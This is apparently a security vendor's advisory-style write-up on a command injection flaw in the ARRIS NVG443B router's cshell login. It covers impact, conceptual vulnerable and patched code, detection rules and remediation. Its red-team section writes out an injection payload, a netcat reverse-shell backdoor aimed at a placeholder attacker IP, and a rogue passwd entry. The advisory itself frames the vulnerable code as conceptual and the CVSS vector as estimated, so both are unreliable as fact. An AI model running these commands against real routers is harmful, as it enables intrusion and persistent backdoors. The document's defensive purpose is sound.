CVE-2024-41643

Executive Summary

CVE-2024-41643 identifies a critical security vulnerability in the ARRIS NVG443B residential gateway, specifically in firmware version 9.3.0h3d36. The flaw resides in the cshell login component, allowing a physically proximate attacker to execute arbitrary code on the device. This vulnerability poses a significant risk to home and small office networks, as it can lead to full device compromise, network eavesdropping, and lateral movement within the local network. The attack requires physical access, but once exploited, the attacker gains persistent, high-privileged access to the router's operating system.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated. Based on the vulnerability description, a reasonable CVSS v3.1 vector would be:

CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base Score: 6.8 (Medium)

Breakdown:

• Attack Vector (AV): Physical (P) – The attacker must have physical access to the device.
• Attack Complexity (AC): Low (L) – No special conditions or race conditions required.
• Privileges Required (PR): None (N) – No authentication needed to trigger the vulnerability.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full device access leads to exposure of network traffic, credentials, and configuration.
• Integrity (I): High (H) – Attacker can modify firmware, settings, or inject malicious code.
• Availability (A): High (H) – Attacker can render the device inoperable or disrupt network services.

Threat Level: High. While physical access is required, the impact is severe, and the attack is trivial to execute once access is gained.

Deep Dive & Mechanics

The vulnerability exists in the cshell login component of the ARRIS NVG443B router. The cshell is a custom shell or command-line interface used for debugging or administrative tasks, likely accessible via a serial console or a local network interface. The flaw allows a physically proximate attacker to bypass authentication or inject commands during the login process, leading to arbitrary code execution with root privileges.

Root Cause: The cshell component does not properly sanitize or validate user input during the authentication handshake. An attacker can send specially crafted input (e.g., command injection via shell metacharacters) that is executed by the underlying operating system before or instead of the intended authentication logic.

Attack Vector: Physical access to the device's console port (e.g., UART, JTAG, or USB console) or local network access to a management interface that exposes the cshell service.

Impact: Full compromise of the router, including:

• Extraction of Wi-Fi passwords, ISP credentials, and VPN keys.
• Installation of persistent backdoors (e.g., reverse shells, rootkits).
• Modification of DNS settings to redirect traffic to malicious servers.
• Use of the device as a pivot point for attacks on other local network devices.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code is in the cshell binary within the firmware. A hypothetical patch would involve:

• Input Validation: Rejecting any input containing shell metacharacters (;, |, &, $, `, \n) before passing it to the system shell.
• Authentication Bypass Fix: Ensuring that command execution only occurs after successful authentication, not during the login prompt.
• Least Privilege: Running the cshell process with minimal privileges, not as root.

Vulnerable Code (Conceptual):

// Vulnerable: Directly passes user input to system()
void cshell_login() {
    char input[256];
    printf("cshell login: ");
    gets(input);  // No bounds checking
    char cmd[512];
    sprintf(cmd, "echo %s | cshell_auth", input);  // Command injection
    system(cmd);
}

Patched Code (Conceptual):

// Patched: Uses safe API and validates input
void cshell_login() {
    char input[256];
    printf("cshell login: ");
    fgets(input, sizeof(input), stdin);
    // Remove newline
    input[strcspn(input, "\n")] = 0;
    // Reject shell metacharacters
    if (strpbrk(input, ";|&$`\n")) {
        printf("Invalid input.\n");
        return;
    }
    // Use execve() instead of system() to avoid shell interpretation
    char *args[] = {"/usr/bin/cshell_auth", input, NULL};
    execve(args[0], args, NULL);
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Physical access to the ARRIS NVG443B router.
• Serial console cable (e.g., USB-to-UART) or ability to connect via Ethernet to the management interface.
• Terminal emulator (e.g., PuTTY, screen, minicom).

Exploitation Steps:

1. Connect to the Console: Attach the serial cable to the router's UART pins (typically 3.3V, GND, TX, RX). Use baud rate 115200.
2. Boot Interruption: Power cycle the router and interrupt the boot process (e.g., press a key during U-Boot) to gain a shell prompt.
3. Trigger the Vulnerability: Once in the cshell login prompt, inject a command:

   cshell login: ; /bin/sh -i
   

   This will spawn an interactive shell with root privileges.
4. Establish Persistence: Write a backdoor script to the filesystem:

   echo '#!/bin/sh' > /tmp/backdoor.sh
   echo 'nc -e /bin/sh <attacker_ip> 4444' >> /tmp/backdoor.sh
   chmod +x /tmp/backdoor.sh
   /tmp/backdoor.sh &
   

5. Exfiltrate Data: Copy /etc/shadow, /etc/config/wireless, and other sensitive files.

Alternative Payloads:

• Reverse shell: ; nc <attacker_ip> 4444 -e /bin/sh
• Add a new admin user: ; echo "admin:$1$xyz$..." >> /etc/passwd

Blue Team (Defensive)

Detection:

• Monitor serial console logs for unusual input patterns (e.g., semicolons, pipes).
• Enable logging on the router (if possible) and send logs to a SIEM.
• Use network monitoring to detect outbound connections from the router to unknown IPs (e.g., reverse shells).

Prevention:

• Physical Security: Lock the router in a secure cabinet or enclosure.
• Firmware Updates: Check the vendor's website for patches (none available as of this report).
• Disable Unused Services: If the cshell service is not needed, disable it via the web interface or by removing the binary from the firmware.
• Network Segmentation: Place the router on a separate VLAN with strict egress filtering.

Honeypot Setup:

• Deploy a fake ARRIS NVG443B using a Raspberry Pi with a custom script that mimics the cshell login prompt. Log all input for threat intelligence.

Indicators of Compromise (IOCs)

File-Based IOCs:

• /tmp/backdoor.sh – Suspicious script.
• /etc/passwd – Unexpected user entries.
• /etc/crontab – Unauthorized cron jobs.

Network IOCs:

• Outbound connections from the router to unusual IPs on ports 4444, 1337, or 31337.
• DNS queries to known malicious domains (e.g., evil.com).

Behavioral IOCs:

• Router web interface becomes unresponsive or shows modified settings.
• Unusual traffic patterns (e.g., SSH attempts from the router to internal hosts).

Log IOCs:

• Serial console logs containing shell metacharacters (;, |, &).
• System logs showing execution of /bin/sh or nc from the cshell process.

Detection Engineering

YARA Rule

rule CVE_2024_41643_ARRIS_NVG443B {
    meta:
        description = "Detects exploitation attempts of CVE-2024-41643 via cshell login"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-41643"
    strings:
        $cmd_inject = /[;|&$`\n].*\/bin\/sh/i
        $reverse_shell = /nc\s+-e\s+\/bin\/sh/i
        $backdoor_script = /backdoor\.sh/
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-41643 ARRIS NVG443B cshell Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects command injection attempts in cshell login logs
author: Valters IT
logsource:
    product: linux
    service: syslog
detection:
    selection:
        - Message|contains: "cshell login:"
        - Message|re: '.*[;|&$`\n].*'
    condition: selection
falsepositives:
    - Legitimate administrative use (rare)
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2024-41643 ARRIS NVG443B cshell Command Injection"; flow:to_server; content:"cshell login:"; pcre:"/[;|&$`\n].*\/bin\/sh/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Physical Access Control: Restrict physical access to the router. Place it in a locked room or cabinet.
2. Disable cshell: If possible, disable the cshell service via the router's web interface or by modifying the firmware.
3. Network Segmentation: Isolate the router on a separate VLAN with strict firewall rules to limit lateral movement.

Long-Term Fixes:

• Vendor Patch: Await an official firmware update from ARRIS. Contact the vendor to report the vulnerability and request a patch.
• Firmware Hardening: If you have access to the firmware source, apply the code fixes described in the "Vulnerable vs. Patched Code" section.
• Replace Device: Consider replacing the ARRIS NVG443B with a more secure router model that receives regular security updates.

Monitoring:

• Enable logging on the router and forward logs to a SIEM.
• Monitor for the IOCs listed above.
• Conduct regular vulnerability scans of the network.

Valters IT